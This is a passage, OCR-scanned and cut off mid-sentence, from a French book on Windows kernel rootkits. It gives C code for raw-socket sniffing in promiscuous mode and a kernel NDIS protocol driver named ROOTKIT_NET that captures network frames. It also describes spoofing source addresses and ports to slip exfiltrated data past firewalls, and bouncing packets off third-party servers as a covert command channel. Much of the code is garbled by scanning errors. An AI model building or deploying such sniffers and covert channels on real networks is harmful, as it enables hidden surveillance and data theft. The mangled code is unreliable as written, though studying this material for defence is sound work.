Une fois que l’adresse locale est obtenue, la structure sockaddr doit etre initialisee et b 
in d peut etre appele : 

struct sockaddr_in SockAddr; 

memset(&SockAddr, 0, sizeof (SockAddr) ) ; 

SockAddr.sin_addr.s_addr = addr.s_addr; 

SockAddr. sin_family = AF_INET; 

SockAddr.sin_port = 0; 

if (bind( mySocket, (sockaddr *)&SockAddr, sizeof (SockAddr) ) == S0CKET_ERR0R) 

{ 

printf("bind failed. \n"); exit(-l); 

} 

Interception de paquets avec un socket brut 

Pour sniffer, ou intercepter, des paquets, il suffit de commencer a lire des paquets sur 
le reseau a l’aide d’un appel de recvf rom — sniffer consiste a recuperer une copie du 
trafic. Dans le code suivant, nous lisons un maximum de 12 000 octets 



280 Rootkits 


Infiltrations du noyau Windows 


d’un paquet. La boucle de lecture continue jusqu’a ce que le programme plante ou 
qu’une erreur se produise : 

struct sockaddr_in fromAddr; 
int numBytesRecv; 

int fromAddrLen = sizeof (fromAddr); 

for(; ;) 

{ 

memset(&f romAddr, 0, fromAddrLen); 
numBytesRecv = recvfrom( 

mySocket, myRecvBuffer, 

12000 , 

0 , 

(struct sockaddr *)&fromAddr, &fromAddrLen); 


if (numBytesRecv > 0) 

{ 

// Faire quelque chose avec le paquet 

> 

else 

{ 

// recvfrom a echoue break; 

} 

} 

f ree(myRecvBuffer) ; 

Interception de paquets dans le mode "promiscuous" 

Les sockets bruts n’interceptent pas automatiquement tous les paquets du reseau. Par 
defaut, ils ne recuperent que les paquets se destinant a l’hote local. Pour pouvoir 
intercepter tous les paquets circulant sur le reseau, il faut utiliser le mode 
"promiscuous", ce qui demande l’emploi d’un IOCTL. Un tel appel peut etre realise a 
l’aide de wsAioctl : 

int input_buffer; 

DWORD numBytesReturned; 

if ( WSAIoctl(mySocket, 

SIO_RCVALLj 
&input_buffer, 
sizeof (input_buffer)j 
NULL, 

NULL, 

&numBytesReturned, 

NULL, 

NULL) == S0CKET_ERR0R) 
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{ 

pnintf ( "WSAIoctl ( ) failed . \n" ) ; 
exit(-l); 

} 

Apres cet appel, le socket brut interceptera tous les paquets du reseau, 
independamment de leur adresse de destination. Notez que, sur les reseaux par 
commutation de paquets, tous les paquets en mode broadcast et les paquets a 
destination de l’hote local sont disponibles. L’emploi d’un hub rend tous les paquets 
disponibles. Une autre solution est de configurer un port etendu ( spanned port)' sur le 
commutateur. 

Lors du deployment d’un rootkit en environnement reel, ces options ne sont toutefois 
pas disponibles. Pour espionner le trafic d’un hote distant sur le meme sous- reseau, 
une solution serait de detoumer le trafic ARP (ARP hijacking) 1 2 . Le sniffing 
"Etherleak" serait aussi une possibility 3 . 

Envoi de paquets avec un socket brut 

L’ envoi d’un paquet brut est tres simple au moyen de la fonction sendto : 

sendto(theSocket, 

(char *)packet, 

sizeof (struct iphdr)+sizeof (struct tcphdr)+datasizej 

0 . 

(struct sockaddr *)theAddressPj 
sizeof (struct sockaddr)); 

Nous disposons maintenant de tous les outils requis pour envoyer et recevoir des 
paquets bruts. Voyons maintenant ce qu’il est possible de faire avec. 

Falsification de I'origine des paquets 

Le controle du port source est une fonctionnalite importante d’un pare -feu. Un pare- 
feu possede souvent des regies speciales autorisant la communication si le port source 
est DNS, SMTP ou WWW (53, 25 ou 80, respectivement). Le contoumement de ce 
type de regie peut etre utile pour exfiltrer des donnees d’un reseau. Dans certains cas, 
certaines adresses IP source doivent etre utilisees. Par exemple, un pare-feu peut 
autoriser tout le trafic sortant provenant du serveur Web, des ports source 80 et 443. 
Sachant cela, un rootkit peut etre congu pour forger des paquets 


1. Un port etendu est un port special sur un commutateur qui peut servir a sniffer le trafic. 

2. Un detournement ARP permet de capturer du trafic sur un reseau commute et de provoquer le routage des 
paquets via un hote interpose. Ce genre d’attaque a deja ete largement documents dans le domaine public. 

3. Voir O. Arkin et J. Anderson, "Etherleak: Ethernet Frame Padding Information Leakage". 
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avec une fausse identite, celle du serveur Web. En utilisant le port source et TIP source 
corrects, le trafic sera autorise a sortir du reseau. 

Le rebond de paquets 

La demiere methode de manipulation de paquets bruts que nous couvrirons est celle du 
rebond de paquets (bouncing packet ), un effet interessant qui peut etre obtenu en 
controlant l’adresse IP source. Le rootkit peut fabriquer une adresse IP source 
designant une machine exteme au reseau local. Cette adresse peut appartenir a un reel 
ordinateur controle par un hacker quelque part sur Internet. Le rootkit peut alors 
envoyer ces paquets falsifies a un tiers innocent, tel qu’un serveur Web. Le serveur 
mystifie envoie ses paquets de reponse vers l’adresse d’origine (fabriquee, Pordinateur 
du hacker). C’est une forme compliquee d’attaque qui peut permettre a un rootkit 
d’ envoyer du trafic dans une direction sans reveler son emplacement 1 . 

Par exemple, un rootkit pourrait envoyer un paquet TCP SYN avec une adresse source 
trompeuse. Le paquet pourrait contenir des donnees masquees encodees dans le 
numero de sequence initial. Le serveur Web tiers pourrait repondre avec un paquet 
SYN-ACK, en plagant le numero de sequence initial (plus un) dans son paquet. Nous 
obtenons la un mecanisme de communication unidirectionnel. 

Un autre effet de l’attaque par rebond permet de contoumer un pare -feu. Si un rootkit 
est installe sur un reseau tres sensible autorisant du trafic en provenance de certains 
hotes approuves seulement, des commandes pourraient etre envoyees par rebond au 
rootkit, a partir de Pun des hotes valides. L’emploi d’un tiers pour le rebond doit 
toutefois etre gere avec precaution. Parfois, une requete DNS sera resolue en 
referengant une ferme d’ hotes et vous pourriez sans le savoir utiliser plusieurs hotes 
pour le rebond. Pour eviter ce probleme, il faut soit utiliser uniquement P adresse IP de 
l’hote cible ou s’ assurer que le rootkit sait que n’importe lequel de ces hotes peut etre 
source de donnees. Un autre piege est que certains routeurs et systemes pare -feu 
emploient un filtrage de paquet ( stateful inspection ), auquel cas ils n’ autoriseront pas 
la circulation de ces paquets entrant ou sortant par rebond. 

Dans la plupart des cas, ces difficulties ne poseront pas de probleme. De nombreux 
pare-feu procedant de la sorte supposent, lorsqu’ils detectent un paquet SYN-ACK 
emis par rebond, qu’une connexion valide a ete etablie. 


1 . Naturellement, l'envoi d'un trafic bidirectionnel revelerait remplacement du hacker. L’adresse cible de la 
methode unidirectionnelle est revelee simplement en examinant l’adresse source fabriquee. 
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Support de TCP/IP dans le mode noyau via NDIS 

Jusqu’a present, nous n’avons fait qu’etudier comment creer des paquets bruts a partir 
d’un programme en mode utilisateur. Cela convient pour quelques experimentations 
mais, pour bien comprendre comment un reel rootkit fonctionne, vous devez pouvoir 
envoyer des paquets a partir du noyau. 

L’emploi de 1’ interface NDIS permet a un driver d’acceder au trafic brut. Elle convient 
le mieux pour sniffer des paquets, mais vous pourriez egalement en envoyer. 
L’exemple suivant de driver de protocole NDIS pemiet de creer et de sniffer des 
paquets bruts. II ne se charge pas de filtrer ni de controler les paquets entrant ou 
sortant (ce n’est pas un pare-feu). 

Avant de pouvoir intercepter du trafic, il faut d’abord enregistrer un protocole puis 
definir des fonctions de callback qui gereront les evenements. 

Declaration du protocole 

En premier lieu, vous devez inscrire dans le systeme une structure de caracteristiques 
du protocole. Cela demande l’emploi d’un argument de liaison specifiant l’interface 
(Ethernet, sans-fd, etc.) avec laquelle vous travaillerez, que Eon appelle parfois aussi 
interface MAC. Dans notre exemple, nous codons en dur cet argument et nous 
donnons a notre protocole le nom rootkit net : 

#include "ntddk.h" 

// Important ! Placez ceci avant ndis.h. 

#def ine NDIS40 1 

#include "ndis.h" 

#include "stdio.h" 

struct UserStruct 

{ 

UL0NG mData; 

} gllserStruct; 

// handle pour 1' interface reseau ouverte 
NDIS3HANDLE gAdapterHandle; 

NDIS_HANDLE gNdisProtocolHandle; 

NDIS_EVENT gCloseWaitEvent; 

NTSTATUS DriverEntry( IN PDRIVER_0B1ECT theDriverObject, IN PUNICODE_STRING 
theRegistryPath ) 

{ 

UINT aMediumlndex = 0; 

NDIS_STATUS aStatus, anErrorStatus; 

// Nous n'essayons que 802.3 

NDIS_MEDIUM aMediumArray=NdisMedium802_3; 
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UNICODE_STRING anAdapterName; 

NDIS_PROTOCOL_CHARACTERISTICS aProtOCOlChar; 

NDIS_STRING aProtoName = NDIS_STRING_CONST ( "R00TKIT_NET" ) ; 

DbgPrint("ROOTKIT Loading. . . "); 

Vous pouvez obtenir la liste des interfaces utilisables a l’aide de l’une des deux cles de 
registre suivantes : 

■ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards 

■ HKLMYSY STEM\CurrentControlSet\Services\TcpIp\Linkage 

Par exemple, Pun de nos systemes de test possede les liaisons suivantes : 

\Device\{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORINOCO Wireless LAN **-PC Card 
(5 volt) 

\Device\{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5} 

\Device\{5436B920 -2709 -4250 -918D-B4ED3BB8CF9A} Dell TrueMobile 

f o*-1150 Series Wireless LAN Mini PCI Card 
\Device\{5A6C6428-C5F2-4BA5-A469-49F607B369F2} 1394 Net Adapter 

\Device\{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated **-Fast 
Ethernet Controller (3C905C-TX Compatible) 
\Device\{6D615BDB-A6C2-471D-992E-4C0B431334Fl} 1394 Net Adapter 

\Device\{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated **Fast 

Ethernet Controller (3C905C-TX Compatible) 

\Device\NdisWanIp 

\Device\{147E65D7 -4065 -4249- 8679 -F79DB39CFC27} 
\Device\{6AB35AlD-6D0B-45CA-9FlC-CD125F950D6F} 

Nous initialisons le nom de la carte reseau avec celui de la liaison. Le format de la 
chaine est \Device\{GUID}. Notez l’emploi du prefixe "L" avant la chaine, pour prevenir 
le compilateur qu’il s’agit d’une chaine au format Unicode. 

RtlInitUnicodeString( 

&anAdapterNamej 

L"\\Device\\ {453CCFA6-B612-48A2-8389-309D3EC35532}" ); // 

Evenement d ' initialisation de la fermeture 
NdisInitializeEvent(&gCloseWait Event); 

theDriverObject->Driverllnload = OnUnload; 

Nous initialisons ensuite la structure des caracteristiques de protocole. Elle inclut une 
serie de pointeurs de fonctions qui doivent etre initialises. Ces pointeurs specifient des 
fonctions de callback pour une variete d’evenements qui se produiront. II y a de 
nombreux evenements, mais celui qui nous interesse particulierement se produit 
lorsqu’un paquet arrive du reseau. C’est de cette maniere que nous pouvons sniffer le 
trafic. Chacune de nos fonctions de callback est nominee selon le format suivant : 
OnXXX et OnXXXDone, oil XXX est un nom relatif a l’evenement conceme. 
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1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 
II Initialisation du sniffen de reseau - 
II et documentee dans le DDK. 
/////////////////////////////// 
RtlZeroMemory( &aProtocolChar., 

Sizeof (NDIS_PROTOCOL_CHARACTERISTICS) 
aProtocolChan .MajorNdisVersion 
aProtocolChar .MinorNdisVersion 
aProtocolChar. Reserved 
aProtocolChar .OpenAdaptenCompleteHandler 
aProtocolChar . CloseAdapterCompleteHandle 
aProtocolChar . SendCompleteHandler 
aProtocolChar .TransferDataCompleteHandle 
aProtocolChar. ResetCompleteHandler 
aProtocolChar . RequestCompleteHandler 
aProtocolChar. ReceiveHandler 
aProtocolChar . ReceiveCompleteHandler 
aProtocolChar . StatusHandler 
aProtocolChar . StatusCompleteHandler 
aProtocolChar . Name 
aProtocolChar .BindAdapterHandler 
aProtocolChar .UnbindAdapterHandler 
aProtocolChar .UnloadHandler 
aProtocolChar. ReceivePacketHandler 
aProtocolChar . PnPEventHandler 


/ / ////////////// / // // // // // // 
//// 

Une procedure standard 
/ / ^ /// //// ////////////// 


= 0 ; 

= OnOpenAdapterDone; 
r = OnCloseAdapterDone; 
= OnSendDone; 
r = OnTransferDataDone; 
OnResetDone; 
OnRequestDone; 
OnReceiveStub; 
OnReceiveDoneStub; 
OnStatus; 
OnStatusDone; 
aProtoName; 
OnBindAdapter; 
OnUnbindAdapter; 
OnProtocolUnload; 
OnReceivePacket; 
OnPNPEvent; 


DbgPrint( "ROOTKIT: Registering NDIS Protocol\n") ; 

Finalement, nous appelons NdisRegisterProtocol pour inscrire la structure de 
caracteristiques dans le systeme. Ceci doit se produire avant la liaison. 

// Nous devons inscrire un protocole avant de pouvoir // nous Her 
a l'interface. 

NdisRegisterProtocol(&aStatuSj 

gigNdisProtocolHandle, 

&aProtocolChar, 

sizeof (NDIS_PR0T0C0 L_CHARACT ERISTICS ) ) ; 
if (aStatus != NDIS_STATUS_SUCCESS) 

{ 

char _t[255]; 

_snprintf (_t j 25B/‘DriverEntry : ERROR 

NdisRegisterProtocol failed with 
error 0x%08X", aStatus); 

DbgPrint(_t); return aStatus; 

} 

Si l’inscription du protocole reussit, nous appelons NdisOpenAdapter. Cette fonction 
nous connecte a l’interface specifiee. Une fois l’appel realise, les fonctions de 
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callback commencent a etre appelees par la bibliotheque NDIS. A partir de cet endroit 
du code, nous passons des coulisses a la scene. 

Notez que NdisOpenAdapter peut retoumer un code d’etat signifiant "en attente". II 
indique que 1’ operation d’ouverture ne s’est pas terminee immediatement. Si ceci se 
produit, la bibliotheque NDIS appellera notre fonction de callback OnOpenAdap- terDone 
seulement lorsque l’operation se sera terminee. De cette maniere, notre code ne se 
bloquera jamais. D’un autre cote, si NdisOpenAdapter se t er mi ne immediatement, nous 
devons expressement appeler OnOpenAdapterDone. 

C’est un point important. Nous devons appeler la version xxxDone d’une fonction de 
callback si un appel se termine immediatement : 


// NdisOpenAdapter ouvre une connexion entre le protocole 
// et 1' interface physique (couche MAC). 

NdisOpenAdapter( 


&aStatus, 

&anErrorStatus, 

&gAdapterHandle, 

&aMedium!ndex, 


&aMediumArray, 

N 

gNdisProtocolHandle, 


&anAdapterName, 


// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 

// 


Code de retour. 
Code de retour. 
Retourne un handle 
d'entier, index du 
comment 
Tableau 


sur la liaison. Pointeur 
tableau Medium, indique 
1' interface doit etre vue. 

Medium. 


Nombre d' elements dans le tableau Medium, 
handle retourne de NdisRegisterProtocol. 
Pointeur vers une structure controlee par 
l'utilisateur. 

Laisse a la decision du programmeur. 

Norn de l'interface a ouvrir. 

Masque binaire d'options Pointeur vers des 
informations 


Le 


// a passer a MacOpenAdapter 
if (aStatus != NDIS_STATUS_PENOING) 

{ 


if ( FALSE == NT_SUCCESS(aStatus) ) 
{ 

// Un nrobleme s'est nroduit 


ferme tout. 


char t[255]; 

_snprintf (_t, 253, "ROOTKIT: NdisOpenAdapter 

returned an error 0x%08X", aStatus); 
DbgPrint(_t) ; 

// Indicateur utile 

if (NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus) 
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DbgPrint ( "NDIS_STATUS_ADAPTER_NOT_FOUND") ; 

} 

II Supprime le protocole sous peine de plantage avec ecran 

bleu ! 

NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle) ; if (FALSE == 
NT_SUCCESS(aStatus) ) 

{ 

DbgPrint("DeregisterProtocol failed! "); 

} 

// Utilise pour winCE - NdisFreeEvent(gCloseWaitEvent); 
return STATUSl JNSUCCESSFUL; 

} 

else 

{ 

OnOpenAdapterDone( 

&gUserStruct , aStatus, 

NDIS_STATUS_SUCCESS 

); 

} 

} 

return STATUS_SUCCESS; 

} 

Nous avons vu comment definir et inscrire un protocole. Nous pouvons maintenant 
etudier le fonctionnement des fonctions de callback qui gerent les evenements. 

Fonctions de callback du driver de protocole 

Bien qu’elles doivent exister, la plupart de nos fonctions de callback ne font rien. Les 
seules qui necessitent une implementation specifique sont OnOpenAdapterDone et 
OnCloseAdapterDone . Nous ajoutons egalement du code pour OnReceiveStub pour 
produire des informations lorsqu’un paquet est sniffe. 

La fonction OnOpenAdapterDone verifie si une erreur s’ est produite lors de l’ouverture 
de l’interface. Si tout s’ est bien deroule, elle tente de placer l’interface dans le mode 
"transparent", ou promiscuous, pour pouvoir voir toutes les trames circulant sur le 
reseau. Ceci est realise au moyen d’un appel de NdisRequest avec le mode 

NDIS_PACKET_TYPE_PROMISCUOUS : 

VOID 

OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext , 

IN NDIS_STATUS Status, 

IN NDIS_STATUS OpenErrorStatus ) 
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NDIS_REQUEST anNdisRequest; 

NDIS_STATUS anotherStatus; 

ULONG aMode = NDIS_PACKET_TYPE_PROMISCUOUS; 

DbgPrint( "ROOTKIT: OnOpenAdapterDone called\n"); 

if (NT_SUCCESS(OpenErnonStatus) ) 

{ 

// Place la carte reseau dans le mode promiscuous 
anNdisRequest . RequestType = NdisRequestSetlnformation; 
anNdisRequest. DATA. SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER; 
anNdisRequest. DATA. SET_INFORMATION . InformationBuffer = &aMode; 
anNdisRequest . DATA. SET_INFORMATION \ 

. InformationBufferLength = sizeof (ULONG ) ; 
NdisRequest(&anotherStatus, gAdapterHandle, 

&anNdisRequest ); 


else 

{ 

char _t[255]; 

_snprintf (_t, 252., "OnOpenAdapterDone called with 
error code 0x%08X", 

OpenErrorStatus); 

DbgPrint(_t) ; 

} 


Nous definissons ensuite un evenement dans OnCloseAdapterDone pour signaler a la 
portion restante du driver quand une operation de fermeture se deroule. Ceci permet au 
rootkit de determiner s’il est necessaire d’attendre que 1’ interface se ferme avant de 

decharger le driver de la memoire : 

VOID 


OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext , 

IN NDIS_STATUS Status ) 

{ 

DbgPrint("ROOTKIT: OnCloseAdapterDone called\n"); 

// Synchronisation avec l'evenement unload NdisSetEvent(&gCloseWaitEvent); 


VOID 

OnSendDone( IN NDIS_HANDLE ProtocolBindingContext , IN 
PNDIS_PACKET pPacket, 

IN NDIS_STATUS Status ) 

{ 

DbgPrint("ROOTKIT: OnSendDone called\n"); 

} 


VOID 
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OnTransferDataDone ( IN NDISJHANDLE thePBindingContext , 

IN PNDIS_PACKET thePacketP, 

IN NDIS_STATUS theStatus, 

IN UINT theBytesTransfered ) 

{ 

DbgPrint("ROOTKIT: OnTransferDataDone called\n"); 

} 

La fonction OnReceiveStub est appelee a chaque fois qu’un paquet est intercepte. 
L’argument HeaderBuff er contient un pointeur vers l’en-tete Ethernet. L’argument 
LookAheadBuff er peut contenir un pointeur vers le reste du paquet. 

Avertissement : il n’est pas garanti que le tampon LookAheadBuff er contienne la totalite 
du paquet. Vous ne pouvez pas vous appuyer seulement sur ce tampon pour intercepter 
des paquets entiers. 

Dans notre exemple, nous retoumons simplement ndis status not accepted pour 
indiquer que le paquet ne nous interesse pas : 

/* Un paquet est arrive */ 

NDIS_STATUS 

OnReceiveStub( 

IN NDISJHANDLE ProtocolBindingContext , /* Notre structure 

d'ouverture */ 

IN NDISJHANDLE MacReceiveContext, 

IN PVOID HeaderBuffer, /* En-tete Ethernet */ 

IN UINT HeaderBufferSize, 

IN PVOID LookAheadBuffer, /* II est possible d' avoir 

un paquet entier ici */ 

IN UINT LookaheadBufferSizej 
UINT PacketSize ) 

{ 

char _t[255]; 

UINT aFrameType = 0; 

// Indique au debugger le type de trame memcpyf&aFrameType., 

( ((char *)HeaderBuffer) + 12) , 2); 

_snprintf (_t , 253, "sniffed frame type %u, packetsize %u", aFrameType, 
Packetsize); 

DbgPrint(jt); 

// Ignore tout 

return NDIS_STATUS_NOT_ACCEPTED; 


VOID OnReceiveDoneStub( IN NDISJHANDLE ProtocolBindingContext ) 

{ 

DbgPrint("ROOTKIT: OnReceiveDoneStub called\n"); return; 
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VOID OnStatus( IN NDIS_HANDLE ProtocolBindingContext , IN 
NDIS_STATUS Status, 

IN PVOID StatusBuffer, 

IN UINT StatusBufferSize ) 

{ 

DbgPrint("ROOTKIT: OnStatus called\n"); 
return; 

VOID OnStatusDone( IN NDISJHANDLE ProtocolBindingContext ) 

{ 

DbgPrint( "ROOTKIT :OnStatusDone called\n") ; 
return; 

VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext, IN 
NDIS_STATUS Status ) 

{ 

DbgPrint( "ROOTKIT: OnResetDone called\n"); 
return; 


VOID OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext, IN 
PNDIS_REQUEST NdisRequest, 

IN NDIS_STATUS Status ) 

{ 

DbgPrint("ROOTKIT: OnRequestDone called\n"); 
return; 

} 

VOID OnBindAdapter(OUT PNDIS_STATUS theStatus, 

IN NDIS_HANDLE theBindContext, 

IN PNDIS_STRING theDeviceNameP, 

IN PVOID theSSI, 

IN PVOID theSS2 ) 

{ 

DbgPrint( "ROOTKIT: OnBindAdapter called\n"); 
return; 

} 

VOID OnUnbindAdapter(OUT PNDIS_STATUS theStatus, 

IN NDIS_HANDLE theBindContext, 

IN PNDIS1HANDLE theUnbindContext ) 

{ 

DbgPrint("ROOTKIT: OnUnbindAdapter called\n“); 
return; 

} 

NDIS_STATUS OnPNPEvent(IN NDIS_HANDLE 

ProtocolBindingContext, 

IN PNET_PNP_EVENT pNetPnPEvent) 

{ 

DbgPrint( "ROOTKIT: PtPnPHandler called"); 
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return NDIS_STATUS_SUCCESS; 

} 

VOID OnProtocolUnload( VOID ) 

{ 

DbgPrint("ROOTKIT: OnProtocolUnload called-”); 
return; 

} 

INT OnReceivePacket(IN NDIS_HANDLE 

ProtocolBindingContext , 

IN PNDIS_PACKET Packet ) 

{ 

DbgPrint("ROOTKIT: OnReceivePacket called\n"); 
return 0; 


Finalement, nous implementons une routine de dechargement. Cette routine ferme 
1’ interface et attend un evenement qui sera declenche une fois 1’ operation de femieture 
terminee (souvenez-vous de OnCloseAdapterDone., vu plus haut). A moins d’attendre la 
fermeture de 1’ interface, nos fonctions de callback peuvent toujours etre appelees. Si 
nous dechargeons le driver sans fermer d’abord l’interface, elles risquent d’etre 
appelees alors qu’ elles ont ete dechargees de la memoire, ce qui provoquerait un 

plantage avec ecran bleu. 

VOID OnUnload( IN PDRIVER_0B1ECT DriverObject ) 

{ 

NDIS_STATUS Status; 

DbgPrint ( "ROOTKIT: OnUnload called\n''); 

NdisReset Event (&gCloseWait Event ) ; 

NdisCloseAdapter( 

&Status, 

gAdapterHandle) ; 

// Nous devons attendre que l'operation se termine 

// 

if (Status == NDIS_STATUS_P ENDING) 

{ 

DbgPrint("rootkit: OnUnload: pending wait event\n"); 
NdisWaitEventf&gCloseWaitEvent, 0); 

} 

NdisDeregisterProtocol( &StatuSj gNdisProtocolHandle); 
if (FALSE == NT_SUCCESS(Status) ) 

{ 

DbgPrint ( "DeregisterProtocol failed ! " ) ; 

} 

// Utilise pour winCE - NdisFreeEvent(gCloseWaitEvent) ; 

DbgPrint("rootkit: OnUnload: NdisCloseAdapterQ done\n"); 
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Deplacement de paquets entiers 

Comme nous l’avons indique plus haut, la fonction OnReceiveStub ne reyoit pas 
toujours des paquets entiers dans le tampon LookAheadBuff er. Nous devons 
implementer une methode pour nous assurer de recevoir des paquets entiers. Pour cela, 
il faut appeler NdisTransportData et gerer certaines structures de tampon. 

Nous creons deux variables globales supplementaires pour un pool de paquets et un 
pool de tampons. Ensuite, dans OnOpenAdapterDone, nous initialisons ces variables en 
utilisant NdisAllocatePacketPool et NdisAllocateBuff erPool. 


NDISJHANDLE gPacketPoolH; 

NDISJHANDLE gBufferPoolH; 

VOID 

OnOpenAdapterDone(IN NDISJHANDLE IN ProtocolBindingContext, 
NDIS_STATUS IN Status, 

NDIS_STATUS OpenErrorStatus ) 

{ 

NDIS_STATUS aStatus; anNdisRequest; anotherStatus; 

NDIS_REQUEST aMode = NDIS_PACKET_TYPE PROMISCUOUS; 

NDIS_STATUS 

ULONG 

DbgPrint("ROOTKIT: OnOpenAdapterDone called\n"); 
if (NT_SUCCESS(OpenErrorStatus)) 

{ 

// Place la carte dans le mode promiscuous 
anNdisRequest . RequestType = NdisRequestSetlnformation; 
anNdisRequest. DATA. SET_INFORMATION.Oid = 

OID_GEN_CURRENT_PACKET_FILTER; 

anNdisRequest. DATA. SET_INFORMATION . InformationBuffer = &aMode; 
anNdisRequest . DATA. SET_INFORMATION . \ 

InformationBufferLength = sizeof (ULONG); 
NdisRequest( &anotherStatus, 
gAdapterHandle, 

&anNdisRequest ); 

NdisAllocatePacketPool ( 

&aStatus, 

&gPacketPoolH, 

TRANSMIT_PACKETS, 
sizeof (PACKET_RESERVED) ) ; 

if (aStatus != NDIS_STATUS_SUCCESS) 

{ 


} 


return; 
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NdisAllocateBuffenPool( 

&aStatuSj 
&gBufferPoolH, 
TRANSMIT_PACKETS ); if 
(aStatus ! = NDIS_STATUS_SUCCESS) 

{ 

return; 

} 


else 

{ 

char _t[255]; 

_snprintf (_t , 252, "OnOpenAdapterDone called 
with error code 0x%08X", 

OpenErrorStatus); 

DbgPrint(_t); 

} 

} 

Par Eintermediaire des handles des pools de tampons et de paquets, nous pouvons 
initier une operation de deplacement de donnees dans notre fonction de callback de 
reception. Nous verifions qu’il s’agit bien d’un paquet Ethernet et stockons son entete. 
Nous allouons ensuite un tampon et un paquet a partir de notre pool. La structure 
ndis packet contient un champ reserve oil nous pouvons conserver une copie de l’en- 
tete Ethernet. La structure comprend aussi une chaine de tampons dans laquelle le reste 
du paquet sera copie. Nous allouons un tampon d’une taille suffisante, puis le 
"chainons" a la structure NDIS PACKET. Nous appelons ensuite Ndis- Transf erData 
pour placer le reste du paquet dans ce tampon. 

NdisT ransf erData peut se terminer immediatement ou retoumer un code signifiant 
"en attente". Si 1’ operation est en attente, la fonction de callback OnTransf erData- Done 
sera appelee lorsque l’operation se terminera. N’oubliez pas que, si Ndis- TransferData 
se termine immediatement, nous devons appeler nous-meme OnTransf erDataDone. 

/* Un paquet est arrive */ 

NDIS_STATUS 

OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* Notre 
structure 

d'ouverture */ 

IN NDISJHANDLE MacReceiveContext , 

IN PV0ID HeaderBuffer, /* En-tete Ethernet */ 

IN UINT HeaderBufferSize, 

IN PV0ID LookAheadBuffer, /* II est possible d' avoir 

un paquet entier ici*/ 

IN UINT LookaheadBufferSize, 

UINT PacketSize ) 
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PNDIS_PACKET pPacket; 

PNDIS_BUFFER pBuffer; 

ULONG SizeToTransfer = 0; 

NDIS_STATUS Status; 

UINT BytesTransfered; 

ULONG BufferLength; 

PPACKET_RESERVED Reserved; 

NDIS_HANDLE BufferPool; 

PVOID aTemp; 

UINT Frame_Type = 0; 

DbgPnint("ROOTKIT: OnReceiveStub called\n"); 

SizeToTransfer = PacketSize; if( 

(HeaderBufferSize > ETHERNET_HEADER_LENGTH) 

I I 

(SizeToTransfer > (1514 - ETHERNET_HEADER_LENGTH) )) 

{ 

DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted 
packet\n"); 

return NDIS_STATUS_NOT_ACCEPTED; 

} 

memcpy(&Frame_Typej ( ((char *)FleaderBuffer) + 12) , 2); 

/* 

* Ignore tout 

* sauf IP (octets dans l'ordre du reseau) 

*/ 

if (Frame_Type != 0x0008) 

{ 

DbgPrint("Ignoring NON-Ethernet frame"); 
return NDIS_STATUS_NOT_ACCEPTED; 

} 

/* Stocke le payload (charge utile) Ethernet */ 

aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH )); 
if (aTemp) 

{ 

//DbgPrint("ROOTKIT: ORI: store ethernet payload\n"); 

RtlZeroMemory (aTemp, (1514 - ETHERNET_HEADER_LENGTH )); 
NdisAllocatePacket( 

&Status, 

&pPacket, 

gPacketPoolH /*NdisAllocatePacketPool precedent*/ 

); 

if (NDIS_STATUS_SUCCESS == Status) 

{ 

//DbgPrint("ROOTKIT: ORI: store ethernet header\n"); /* 

Stocke l'en-tete Ethernet */ 

RESERVED(pPacket) ->pHeaderBufferP = ExAllocatePool( 
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NonPagedPool, 

ETHERNET_HEADER_LENGTH) ; DbgPnint("ROOTKIT: ORI: checking ptr\n"); 
if (RESERVED (pPacket) ->pHeaderBufferP) 

{ 

//DbgPrint( ' ' ROOTKIT: ORI: pHeaderBufferP\n" ) ; 

RtlZeroMemory( 

RESERVED (pPacket) - >pHeaderBufferP, 
ETHERNET_HEADER_LENGTH) ; memcpy (RESERVED (pPacket ) ->pHeader Buffer P, 
(char *)HeaderBuffer, 

ETHERNET_HEADER_LENGTH) ; 

RESERVED ( pPacket ) ->pHeaderBufferLen = ETHERNET_HEADER_LENGTH; 
NdisAllocateBuffer( 

&Status, 

&pBuffer, 

gBufferPoolH, 

aTemp, 

(1514 - ETHERNET_HEADER_LENGTH) 

); 

if (NDIS_STATUS_SUCCESS == Status) 

{ 

//DbgPrint(" ROOTKIT: ORI: NDIS_STATUS_SUCCESS\n" ) ; 

/* Devra etre libere ensuite */ 

RESERVED(pPacket) ->pBuffer = aTemp; 

/* Associe notre tampon au paquet. 

Important */ 

NdisChainBufferAt Front (pPacket , pBuffer); 

//DbgPrint( "ROOTKIT: ORI: NdisTransferData\n"); 
NdisTransferData( 

&(gllserStruct .mStatus), 
gAdapterHandle, 

MacReceiveContext , 

0 ? 

SizeToTransfer, pPacket, 

&BytesTransfered) ; 

if (Status ! = NDIS_STATUS_PENDING) 

{ 

//DbgPrintf "ROOTKIT: ORI: did not pend\n"); 

/* Si pas en attente, appeler la routine de 
terminaison maintenant */ 

OnTransferDataDone( 

&gllserStruct, pPacket, 

Status, 

BytesTransfered 

); 


} 
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return NDIS_STATUS_SUCCESS; 

} 

ExF reePool( RESERVED ( pPacket ) - >pHeaderBufferP) ; 

} 

else 

{ 

DbgPrintf "ROOTKIT: ORI: pHeaderBufferP allocation failed !\n"); 

} 

//DbgPrint( "ROOTKIT: ORI: NdisFreePacket()\n"); 

NdisFreePacket(pPacket) ; 

} 

//DbgPrint( "ROOTKIT : ORI: ExFreePool( ) \n”) ; 

ExFreePool(aTemp); 

} 

return NDIS_STATUS_SUCCESS; 

} 

Finalement, examinons OnTransferDataDone pour comprendre comment reconstmire la 
